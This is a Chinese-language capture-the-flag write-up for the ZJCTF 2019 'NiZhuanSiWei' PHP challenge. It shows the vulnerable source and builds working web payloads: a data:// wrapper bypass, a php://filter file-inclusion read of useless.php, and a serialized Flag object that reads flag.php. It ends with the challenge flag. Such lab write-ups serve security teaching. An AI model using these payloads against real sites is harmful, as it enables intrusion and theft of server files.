前言
使用的靶场平台:主页 | NSSCTF
[ZJCTF 2019]NiZhuanSiWei
第一层
首先可以看到着道题目有几个传参,说明有很多层绕过。
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; #传入text参数
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先看到第一个传入text的,这里有个file_get_contents函数,我们可以去研究一下这个函数有什么作用
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
语法:file_get_contents(path,include_path,context,start,max_length)
参数 | 描述 | |
path |
| |
include_path |
| |
context |
| |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。 | |
max_length |
|
所以上面:if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
的意思就是读取变量text的值,并且 等于 "welcome to the zjctf"
那我们只需要 PHP的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
我们用伪协议来输入文本
?text=data://text/plain,welcome to the zjctf
说明我们构造的是对的。
第二层
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
可以看到这个把 flag 给过滤了,后面又提示useless.php,说明我们需要打开useless.php
看到include函数,我们就想到了文件包含漏洞,我们直接构造payload
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
第三层
用base64解一下
得到:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
看到这是个反序列化的代码
我们直接找一个PHP编辑器就得了
得到了:
O:4:"Flag":1:{s:4:"file";N;}
那我们最后的payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
NSSCTF{05d41b34-4f0a-49f0-8d72-b9b5954ad587}